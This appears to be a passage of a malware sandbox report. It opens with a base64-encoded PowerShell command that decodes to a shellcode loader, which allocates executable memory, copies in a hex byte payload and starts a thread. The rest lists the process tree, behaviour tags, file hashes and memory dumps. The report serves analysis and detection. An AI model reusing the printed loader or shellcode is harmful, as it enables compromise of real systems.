ACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAEoAQQBHACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAHoAIAA9ACAAMAB4AGQAOQAsADAAeABjADYALAAwAHgAYgA4ACwAMAB4AGEAMwAsADAAeABjAGEALAAwAHgAYQA4ACwAMAB4AGIAYgAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQBkACwAMAB4ADIAOQAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADQAYgAsADAAeAA4ADMALAAwAHgAZQBkACwAMAB4AGYAYwAsADAAeAAzADEALAAwAHgANAA1ACwAMAB4ADEAMwAsADAAeAAwADMALAAwAHgAZQA2ACwAMAB4AGQAOQAsADAAeAA0AGEALAAwAHgANABlACwAMAB4ADEANAAsADAAeAAzADUALAAwAHgAMAA1ACwAMAB4AGIAMQAsADAAeABlADQALAAwAHgAYwA2ACwAMAB4ADcAYQAsADAAeAAzAGIALAAwAHgAMAAxACwAMAB4AGYANwAsADAAeABhADgALAAwAHgANQBmACwAMAB4ADQAMgAsADAAeABhAGEALAAwAHgANwBjACwAMAB4ADIAYgAsADAAeAAwADYALAAwAHgANAA3ACwAMAB4AGYANgAsADAAeAA3ADkALAAwAHgAYgAyACwAMAB4AGQAYwAsADAAeAA3AGEALAAwAHgANQA2ACwAMAB4AGIANQAsADAAeAA1ADUALAAwAHgAMwAwACwAMAB4ADgAMAAsADAAeABmADgALAAwAHgANgA2ACwAMAB4AGYANAAsADAAeAAwAGMALAAwAHgANQA2ACwAMAB4AGEANAAsADAAeAA5ADYALAAwAHgAZgAwACwAMAB4AGEANAAsADAAeABmADkALAAwAHgANwA4ACwAMAB4AGMAOAAsADAAeAA2ADcALAAwAHgAMABjACwAMAB4ADcAOAAsADAAeAAwAGQALAAwAHgAMwBlACwAMAB4ADcAYQAsADAAeAA5ADUALAAwAHgAYwAzACwAMAB4ADkANwAsADAAeAAwAGYALAAwAHgAMwBiACwAMAB4AGYANAAsADAAeAA5AGMALAAwAHgANQAyACwAMAB4ADgAMAAsADAAeABmADUALAAwAHgANwAyACwAMAB4AGQAOQAsADAAeABiADgALAAwAHgAOABkACwAMAB4AGYANwAsADAAeAAxAGUALAAwAHgANABjACwAMAB4ADIAMgAsADAAeABmADYALAAwAHgANABlACwAMAB4ADIANgAsADAAeABmADIALAAwAHgAZQAwACwAMAB4AGUANQAsADAAeAA2ADEALAAwAHgAMgAzACwAMAB4ADEAMQAsADAAeAAyADkALAAwAHgAYwAxACwAMAB4AGEANgAsADAAeABkADgALAAwAHgAYgA5ACwAMAB4AGQAZQAsADAAeAA5ADkALAAwAHgAMgA1ACwAMAB4ADAAOAAsADAAeAA5ADQALAAwAHgAZQBlACwAMAB4ADUAMgAsADAAeAA4AGEALAAwAHgANwBjACwAMAB4ADMAZgAsADAAeABhADQALAAwAHgAMgAxACwAMAB4ADQAMQAsADAAeAA4AGYALAAwAHgAMgA5ACwAMAB4ADMAYgAsADAAeAA4ADUALAAwAHgAMgA4ACwAMAB4AGQAMQAsADAAeAA0AGUALAAwAHgAZgBkACwAMAB4ADQAYQAsADAAeAA2AGMALAAwAHgANAA5ACwAMAB4AGMANgAsADAAeAAzADEALAAwAHgAYQBhACwAMAB4AGQAYwAsADAAeABkADkALAAwAHgAOQAyACwAMAB4ADMAOQAsADAAeAA0ADYALAAwAHgAMwBlACwAMAB4ADIAMgAsADAAeABlAGUALAAwAHgAMQAxACwAMAB4AGIANQAsADAAeAAyADgALAAwAHgANQBiACwAMAB4ADUANQAsADAAeAA5ADEALAAwAHgAMgBjACwAMAB4ADUAYQAsADAAeABiAGEALAAwAHgAYQA5ACwAMAB4ADQAOQAsADAAeABkADcALAAwAHgAMwBkACwAMAB4ADcAZQAsADAAeABkADgALAAwAHgAYQAzACwAMAB4ADEAOQAsADAAeAA1AGEALAAwAHgAOAAwACwAMAB4ADcAMAAsADAAeAAwADMALAAwAHgAZgBiACwAMAB4ADYAYwAsADAAeABkADcALAAwAHgAMwBjACwAMAB4ADEAYgAsADAAeABjADgALAAwAHgAOAA4ACwAMAB4ADkAOAAsADAAeAA1ADcALAAwAHgAZgBiACwAMAB4AGQAZgAsADAAeAA5AGQALAAwAHgAOQA3ACwAMAB4ADAAMwAsADAAeABlADAALAAwAHgAYwAzACwAMAB4ADAAZgAsADAAeABjAGYALAAwAHgAMgBjACwAMAB4AGYAYwAsADAAeABjAGYALAAwAHgANAA3ACwAMAB4ADIANwAsADAAeAA4AGYALAAwAHgAZgBkACwAMAB4AGMAOAAsADAAeAA5ADMALAAwAHgAMAA3ACwAMAB4ADQAZQAsADAAeAA4ADAALAAwAHgAMwBkACwAMAB4AGQAZgAsADAAeABjADcALAAwAHgAOAA2ACwAMAB4AGIAZQAsADAAeAAwAGYALAAwAHgANgBmACwAMAB4AGMANgAsADAAeAA0ADEALAAwAHgAYgAwACwAMAB4ADkAMAAsADAAeABjAGUALAAwAHgAOAA1ACwAMAB4AGUANAAsADAAeABjADAALAAwAHgANwA4ACwAMAB4ADIAYwAsADAAeAA4ADUALAAwAHgAOABhACwAMAB4ADcAOAAsADAAeABkADEALAAwAHgANQAwACwAMAB4ADIANgAsADAAeAA3ADMALAAwAHgANAA1ACwAMAB4ADkAYgAsADAAeAAxAGYALAAwAHgAMwAxACwAMAB4AGIAMQAsADAAeAA3ADMALAAwAHgANgAyACwAMAB4ADMANgAsADAAeAA5AGUALAAwAHgAOABjACwAMAB4AGUAYgAsADAAeABkADAALAAwAHgAYgAwACwAMAB4AGMAMgAsADAAeABiAGIALAAwAHgANABjACwAMAB4ADcAMAAsADAAeABiADMALAAwAHgANwBiACwAMAB4ADMAZAAsADAAeAAxADgALAAwAHgAZAA5ACwAMAB4ADcAMwAsADAAeAA2ADIALAAwAHgAMwA4ACwAMAB4AGUAMgAsADAAeAA1ADkALAAwAHgAMABiACwAMAB4AGQAMgAsADAAeAAwAGQALAAwAHgAMwA0ACwAMAB4ADYAMwAsADAAeAA0AGEALAAwAHgAYgA3ACwAMAB4ADEAZAAsADAAeABmAGYALAAwAHgAZQBiACwAMAB4ADMAOAAsADAAeAA4ADgALAAwAHgAOAA1ACwAMAB4ADIAYgAsADAAeABiADIALAAwAHgAMwBmACwAMAB4ADcAOQAsADAAeABlADUALAAwAHgAMwAzACwAMAB4ADMANQAsADAAeAA2ADkALAAwAHgAOQAxACwAMAB4AGIAMwAsADAAeAAwADAALAAwAHgAZAAzACwAMAB4ADMANwAsADAAeABjAGIALAAwAHgAYgBlACwAMAB4ADcAZQAsADAAeABiADcALAAwAHgANQA5ACwAMAB4ADQANQAsADAAeAAyADkALAAwAHgAZQAwACwAMAB4AGYANQAsADAAeAA0ADcALAAwAHgAMABjACwAMAB4AGMANgAsADAAeAA1ADkALAAwAHgAYgA3ACwAMAB4ADcAYgAsADAAeAA1AGQALAAwAHgANQAzACwAMAB4ADIAZAAsADAAeABjADQALAAwAHgAMAA5ACwAMAB4ADkAYwAsADAAeABhADEALAAwAHgAYwA0ACwAMAB4AGMAOQAsADAAeABjAGEALAAwAHgAYQBiACwAMAB4AGMANAAsADAAeABhADEALAAwAHgAYQBhACwAMAB4ADgAZgAsADAAeAA5ADYALAAwAHgAZAA0ACwAMAB4AGIANAAsADAAeAAwADUALAAwAHgAOABiACwAMAB4ADQANQAsADAAeAAyADEALAAwAHgAYQA2ACwAMAB4AGYAYQAsADAAeAAzAGEALAAwAHgAZQAyACwAMAB4AGMAZQAsADAAeAAwADAALAAwAHgANgA1ACwAMAB4AGMANAAsADAAeAA1ADAALAAwAHgAZgBhACwAMAB4ADQAMAAsADAAeABkADQALAAwAHgAYQBkACwAMAB4ADIAZAAsADAAeABhAGMALAAwAHgAYQAyACwAMAB4AGQAZgAsADAAeABlAGQAOwAkAGcAIAA9ACAAMAB4ADEAMAAwADAAOwBpAGYAIAAoACQAegAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABnACAAPQAgACQAegAuAEwAZQBuAGcAdABoAH0AOwAkAHkANgBFAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJAB5ADYARQAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeQA2AEUALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9ADsA
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3568
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hnoo2czy\hnoo2czy.cmdline"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3604
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7A31.tmp" "c:\Users\Admin\AppData\Local\Temp\hnoo2czy\CSC42166089C90A4CAEA61F3C32E6438DE.TMP"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1156
  • C:\Windows\system32\BackgroundTransferHost.exe
    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
    1⤵
    • Modifies registry class
    PID:4044

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\bad1592d-6b38-445f-8b98-8d7de534ef1d.down_data

    Filesize

    555KB

    MD5

    5683c0028832cae4ef93ca39c8ac5029

    SHA1

    248755e4e1db552e0b6f8651b04ca6d1b31a86fb

    SHA256

    855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

    SHA512

    aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

  • C:\Users\Admin\AppData\Local\Temp\RES7A31.tmp

    Filesize

    1KB

    MD5

    dd2a1200621bb28ff0444e4364553ba7

    SHA1

    63461c6309d3c05009abc784aa0a4d914b835d09

    SHA256

    7e884e0d331c3b5c78833a32cb2c50899f241ecd9612895922cb895f77374b0b

    SHA512

    e6d87ff695eeef7d436b7818f80d0cfc85f0898e88f1181f5fa96693bb1e870edb5fca6acb13668899ab20d0d100b4db2dfea26806ecabbfc66f742340085b28

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lmdus5jb.qao.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\hnoo2czy\hnoo2czy.dll

    Filesize

    3KB

    MD5

    569c7dc58d474c973b7c479aa72f057a

    SHA1

    4275520e1019b124c2a51376a52843c5a97185af

    SHA256

    b551f2f0b0a45edff84cbb27da367f7879fbade86024803f6495c876671653d4

    SHA512

    68022d79a97d616bf3424e3647d5389caca135485196a3a1533db4c0108501354338b41560f10500fc453caadb405aeccc10f85884dc5385a13fe8f814033962

  • \??\c:\Users\Admin\AppData\Local\Temp\hnoo2czy\CSC42166089C90A4CAEA61F3C32E6438DE.TMP

    Filesize

    652B

    MD5

    e985ac51a4163598dbab175460b2450f

    SHA1

    095ba33a8df03efc062aa653f3c40f5f2453ff4c

    SHA256

    bfa0ff37f6422fffa1327217dde70f071ca46d84dc88ab4a14ec4e4367b2f0be

    SHA512

    5c016829f554deedd10b46efaa8e17e5fd7f6d7d17f2ad49973340e6fb6e3928df050be2c9bd999882f40f2dba7353f50c2db64144a23fff13839b6f69bedb6e

  • \??\c:\Users\Admin\AppData\Local\Temp\hnoo2czy\hnoo2czy.0.cs

    Filesize

    557B

    MD5

    7319070c34daa5f6f2ece2dfc07119ee

    SHA1

    f26a4a48518a5608e93c8b77368f588b0433973c

    SHA256

    b240a9bb4f72d886522e19fa40b9c688fa94c1bd6dc7b7185f94e4466273a5dc

    SHA512

    34169fc9fb0cd2381c45efcd22ec1bc659ef513e73bc4c7bcb91ca1d5129a1a149e9f75297acb4958e52ff04d75e6e121232dbc0657611e41b63f10aa3e1d6bd

  • \??\c:\Users\Admin\AppData\Local\Temp\hnoo2czy\hnoo2czy.cmdline

    Filesize

    369B

    MD5

    96bf864d3b02d1e7e9a286d58851cb6b

    SHA1

    aa6f0e4134931b348674cdd3f81a67af6a3ae127

    SHA256

    e2feff0ffa0b7fc1badf5684aec93cac55825f4493eefb0836a34be0ea6f193f

    SHA512

    ef22cb0f788e86b704416dd7b4336646c014244d57e9adcc7b1dc446353eea9e2c61c6df00a0e9438f4897c556a62aef7049fc7a7d6f1ded9b8281c65cef4db3

  • memory/3568-31-0x0000000005CC0000-0x0000000006017000-memory.dmp

    Filesize

    3.3MB

  • memory/3568-35-0x0000000007320000-0x000000000733A000-memory.dmp

    Filesize

    104KB

  • memory/3568-19-0x0000000074A8E000-0x0000000074A8F000-memory.dmp

    Filesize

    4KB

  • memory/3568-18-0x0000000002C70000-0x0000000002C80000-memory.dmp

    Filesize

    64KB

  • memory/3568-17-0x0000000002C70000-0x0000000002C80000-memory.dmp

    Filesize

    64KB

  • memory/3568-16-0x0000000005500000-0x0000000005B2A000-memory.dmp

    Filesize

    6.2MB

  • memory/3568-20-0x00000000053E0000-0x0000000005402000-memory.dmp

    Filesize

    136KB

  • memory/3568-22-0x0000000005C50000-0x0000000005CB6000-memory.dmp

    Filesize

    408KB

  • memory/3568-21-0x0000000005BE0000-0x0000000005C46000-memory.dmp

    Filesize

    408KB

  • memory/3568-55-0x0000000074A8E000-0x0000000074A8F000-memory.dmp

    Filesize

    4KB

  • memory/3568-32-0x0000000006160000-0x000000000617E000-memory.dmp

    Filesize

    120KB

  • memory/3568-33-0x0000000006190000-0x00000000061DC000-memory.dmp

    Filesize

    304KB

  • memory/3568-34-0x0000000007980000-0x0000000007FFA000-memory.dmp

    Filesize

    6.5MB

  • memory/3568-53-0x0000000002C70000-0x0000000002C80000-memory.dmp

    Filesize

    64KB

  • memory/3568-14-0x0000000002CC0000-0x0000000002CF6000-memory.dmp

    Filesize

    216KB

  • memory/3568-54-0x0000000002C70000-0x0000000002C80000-memory.dmp

    Filesize

    64KB

  • memory/3568-50-0x00000000073D0000-0x00000000073D1000-memory.dmp

    Filesize

    4KB

  • memory/3568-48-0x0000000007360000-0x0000000007368000-memory.dmp

    Filesize

    32KB

  • memory/3920-51-0x00007FF839FF3000-0x00007FF839FF5000-memory.dmp

    Filesize

    8KB

  • memory/3920-0-0x00007FF839FF3000-0x00007FF839FF5000-memory.dmp

    Filesize

    8KB

  • memory/3920-1-0x0000000000B70000-0x0000000000B7A000-memory.dmp

    Filesize

    40KB

  • memory/5108-2-0x0000019AEA730000-0x0000019AEA752000-memory.dmp

    Filesize

    136KB

  • memory/5108-11-0x00007FF839FF0000-0x00007FF83AAB2000-memory.dmp

    Filesize

    10.8MB

  • memory/5108-12-0x00007FF839FF0000-0x00007FF83AAB2000-memory.dmp

    Filesize

    10.8MB

  • memory/5108-52-0x00007FF839FF0000-0x00007FF83AAB2000-memory.dmp

    Filesize

    10.8MB

  • memory/5108-13-0x00007FF839FF0000-0x00007FF83AAB2000-memory.dmp

    Filesize

    10.8MB

  • memory/5108-15-0x00007FF839FF0000-0x00007FF83AAB2000-memory.dmp

    Filesize

    10.8MB